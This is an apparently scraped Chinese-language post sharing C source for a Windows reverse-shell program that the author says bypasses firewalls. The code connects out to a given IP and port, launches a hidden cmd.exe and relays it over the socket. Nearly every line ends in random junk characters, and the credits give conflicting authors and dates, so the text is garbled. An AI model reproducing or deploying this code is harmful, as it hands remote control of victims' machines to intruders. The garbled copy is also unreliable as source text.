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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ~$,qgf  
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/* ============================== dA~ 3>f*b_  
Rebound port in Windows NT 5K%W a]W  
By wind,2006/7 ~Ci{3j :]  
===============================*/ iz[gHB  
#include MgMD\  
#include | A)\ :  
b^CNVdo'  
#pragma comment(lib,"wsock32.lib") L"(4R^]  
 H`QQG!  
void OutputShell(); D-p.kA3MJ  
SOCKET sClient; zTm]AG|0  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ^A_;#vK  
{8RFK4! V@  
void main(int argc,char **argv) (P|pRVO  
{ !nf-}z e{  
WSADATA stWsaData; ?&+9WJ<M  
int nRet; :!TI K1  
SOCKADDR_IN stSaiClient,stSaiServer; FY3IUG  
5"KlRuv%  
if(argc != 3) 2umv|]n+l|  
{ v3[@1FQ"  
printf("Useage:\n\rRebound DestIP DestPort\n"); TLa]O1=Bf.  
return; iw?I  
} Tl("IhkC  
5TKJWO.  
WSAStartup(MAKEWORD(2,2),&stWsaData); OjE` 1h\  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 3`.P'Fh(k  
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stSaiClient.sin_family = AF_INET; :D:DnVZ-[@  
stSaiClient.sin_port = htons(0); f>$``.O  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); )7cb6jCU  
_.)eL3OF  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) |UUdz_i!:  
{ P5 <vf  
printf("Bind Socket Failed!\n"); aoW6U{\  
return; W7No ls{  
} ki]ti={12  
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stSaiServer.sin_family = AF_INET; $4=f+ "z  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); RVw9Y*]b  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); clO,}Ph>  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 7A$B{  
{  vb{i  
printf("Connect Error!"); r#i?j}F}  
return; \_6OCVil  
} ,El!fgL  
OutputShell(); #;KsJb)N.  
} $14:(<  
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void OutputShell() ~+F;q vq  
{ ?9+@+q  
char szBuff[1024]; rJyCw+N0  
SECURITY_ATTRIBUTES stSecurityAttributes; 3(E $I5  
OSVERSIONINFO stOsversionInfo; "f.Z}AbP  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; IZ,oM!Y  
STARTUPINFO stStartupInfo; |,C#:"z;  
char *szShell; }WLh8i?_  
PROCESS_INFORMATION stProcessInformation; d I'SwnR  
unsigned long lBytesRead; JH,/jR  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); k"UO c=   
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Ut@RGg+f8  
stSecurityAttributes.lpSecurityDescriptor = 0; N3BL3:@O  
stSecurityAttributes.bInheritHandle = TRUE; OR6ML- |  
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6]cryf&b  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); M)-6T{[IT  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); \ gwXH  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); &n2e  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "Y: /= Gx  
stStartupInfo.wShowWindow = SW_HIDE; l~:v (R5  
stStartupInfo.hStdInput = hReadPipe; :fcM:w&  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; c,EBF\r8*  
\/`?  
GetVersionEx(&stOsversionInfo); =JLh?Wx  
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switch(stOsversionInfo.dwPlatformId) SUCU P<G  
{ Pz_Oe,{.I  
case 1: /lhz],w  
szShell = "command.com"; }Nj97 R  
break; j1$8#/r;c  
default: >c8GW >\N  
szShell = "cmd.exe"; |`k .y]9  
break; < E|s\u  
} ^y.nDs%ZT7  
q-$`k  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); rt-\g1x  
&$FvWFRh#  
send(sClient,szMsg,77,0); 4p`XG1Pt  
while(1) #EO1`9f48x  
{ e9pOisZ;8  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); G`h+l<  
if(lBytesRead) 'vV$]/wBF  
{ B/f0P(7  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0);  }alj[)  
send(sClient,szBuff,lBytesRead,0); <~emx'F|  
} #^#Kcg  
else I`RBj`IF  
{ vE, 37  
lBytesRead=recv(sClient,szBuff,1024,0); rnFM/GAy  
if(lBytesRead<=0) break; Et2JxbD  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); kTIYD o  
} +%>:0mT  
} n^(A=G  
9v )%dO.  
return; bKVj[r8D~  
}
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